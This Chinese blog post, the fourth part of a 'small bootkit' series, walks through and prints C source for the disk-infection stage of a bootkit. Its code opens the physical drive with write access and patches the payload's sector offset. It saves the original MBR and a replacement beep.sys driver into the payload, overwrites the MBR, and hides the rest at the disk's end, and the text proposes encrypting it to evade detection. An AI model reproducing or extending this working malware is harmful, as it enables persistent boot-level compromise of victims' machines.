现在的位置: 首页 > 综合 > 正文

小小Bootkit(4)

2013年05月27日 ⁄ 综合 ⁄ 共 3902字 ⁄ 字号 评论关闭

BootKit之感染磁盘部分

Sjtujg

这部分代码实际上就是最后的病毒,负责将病毒字节内容写到磁盘上一块隐蔽的区域,每次开机启动的时候就从该磁盘区域中将病毒读入内存中。

这部分代码与VirusMbr和PmVirus相比要简单的多,主要是C代码结合一些windows api。下面结合一些关键部分进行解释。

待写入磁盘的病毒内容已经转换成了unsigned char型数组VirusMbr[]和PmVirus[],他们作为头文件被包含。为了感染MBR并将其余内容写到磁盘的某个偏移位置所需的流程如下:

1、打开磁盘

2、获得磁盘总容量

3、在磁盘的末尾处选择一个位置作为驻留区

4、将VirusMbr[]的内容写到磁盘的第一个扇区也就是MBR中去

5、将PmVirus[]的内容写到之前确定的磁盘偏移处去

在上述的流程中还有许多细节要处理现在一一说明一下

打开磁盘当然利用了windows api函数:

hDrive=CreateFileA("\\\\.\\PhysicalDrive0",GENERIC_READ|GENERIC_WRITE,3u,0,3u,0,0);

以可读可写的方式打开.

在判断打开成功后再往下进行,判断条件(hDrive==INVALID_HANDLE_VALUE)?

为了获得磁盘容量的信息,要利用DeviceIoControl和系统进行通信,对应的IOCTL_CODE是IOCTL_DISK_GET_DRIVE_GEOMETRY,具体调用语句如下:

S_or_F=DeviceIoControl(hDrive,IOCTL_DISK_GET_DRIVE_GEOMETRY,0,0,&Disk_Info,0x18u,&BytesWritten,0);

S_or_F是用来判断是否成功的标志.如果调用成功,那么就会在Disk_Info中返回磁盘的具体信息,再利用保存在Disk_Info中的磁盘信息计算磁盘的容量:

VirusOffsetBytes=Disk_Info.Cylinders.QuadPart*

                            Disk_Info.TracksPerCylinder*

                            Disk_Info.SectorsPerTrack*

                            Disk_Info.BytesPerSector-0x34800+0x200;

计算的原理非常简单,就是柱面数*每柱面磁道数*每磁道扇区数*每扇区字节数.

减去0x34600是随便挑选的一个数字,改变的话无关紧要.

成功获得了磁盘信息之后有一个非常重要的工作,在VirusMbr中要利用int13h扩展读从磁盘中读入20个扇区到内存中,而从磁盘哪个位置开始读取决于int13h扩展读的参数DiskPacket中的一个成员:

structDiskAddressPacket

 ; {

 ;   BYTEPacketSize;  // 数据包尺寸(16字节)

 ;   BYTEReserved;// ==0

 ;   WORDBlockCount;  // 要传输的数据块个数(以扇区为单位)

 ;  DWORD BufferAddr; // 传输缓冲地址(segment:offset)

 ;  QWORD BlockNum;   // 磁盘起始绝对块地址(以扇区为单位) }

也就是qword类型的数据BlockNum,在之前写VirusMbr代码的时候是不可能知道具体的数字的,现在才知道,所以要修改VirusMbr[]中相应的8个字节,我们可以人工找到它在virusMbr[]中的偏移然后将其改变。注意:BlockNum是以扇区为单位的,所以之前计算出的VirusOffsetBytes要除以512才得到正确的结果.

unsigned __int64  *VirusOffsetSectors=(unsigned __int64*)&VirusMbr[100];

VirusOffsetSectors是一个指向VirusMbr[]字节数组中int13h扩展读DiskAddressPacket结构体中BlockNum的指针,是一个64bit类型的值,然后简单的赋值就行了: *VirusOffsetSectors=VirusOffsetBytes/0x200;

在以上的工作都完成后就可以讲病毒写入磁盘了,实际上要分别写入磁盘的两个位置:VirusMbr写到MBR处,而PmVirus写到磁盘最末的驻留区中。

但是在将VirusMbr写到MBR中前要先读出Original MBR将其分区表及以后的内容先copy到VirusMbr中去,然后在将Original MBR在copy 到PmVirus[]数组中,以后一起被复制到磁盘驻留区中.

ReadFile(hDrive,OriMbr,0x200,&BytesWritten,0);

for(i=0;i<0x200;i++)

PmVirus[0x2400+i]=OriMbr[i]; //将OriMbr复制到PmVirus中

for(i=0;i<0x127c;i++)

       PmVirus[0x400+i]=Driver[i]; //要去替换beep.sys的Driver.sys也转换成字节数组被写到PmVirus[]中去

memcpy(&VirusMbr[0x1B0],&OriMbr[0x1B0],0x50u);//复制分区表及以后的内容

下面就是讲文件指针设置到磁盘开始出(即MBR)进行写入操作:

DistanceToMove=0;

                     if(SetFilePointer(hDrive,0,(PLONG)&DistanceToMove,FILE_BEGIN)!=-1)

                     {

                            flag=WriteFile(hDrive,VirusMbr,0x200,&BytesWritten,0);

                            if(flag==0||BytesWritten!=0x200)

                            {

                                   cout<<"writembr failed!\n";

                                   getchar();

                                   return 0;

                            }

                     }

                     else

                     {

                            cout<<"setfile pointer To Mbr failed!\n";

                            return 0;

                     }

在将文件指针设置到之前确定的驻留区,进行写入:

temp.QuadPart=VirusOffsetBytes;

                     DistanceToMove=temp.HighPart;

                     if(SetFilePointer(hDrive,temp.LowPart,(PLONG)&DistanceToMove,FILE_BEGIN)!=-1)

                     {

                            flag=WriteFile(hDrive,PmVirus,0x2600,&BytesWritten,0);

                            if(flag==0||BytesWritten!=0x2600)

                            {

                                   cout<<"PmVirusfailed to be written to disk!\n";

                                   getchar();

                                   return 0;

                            }

                     }

                     else

                     {

                            cout<<"Setfile pointer to PmVirus failed!\n";

                            return 0;

                     }

这里要用到系统调用SetFilePointer.因为之前对original mbr的读写已经改变了文件指针所以要重新设置一下。

如果以上的每一步都能够正确的完成那么感染部分就成功了。不过这个过程是很简单的,可以再感染部分加一点加密的内容,也就是对要写入磁盘中的VirusMbr[]和PmVirus[]内容进行加密,对应的在VirusMbr中就要增加解密的代码,但是加解密的算法不能复杂,因为VirusMBr的可利用的空间有限。

抱歉!评论已关闭.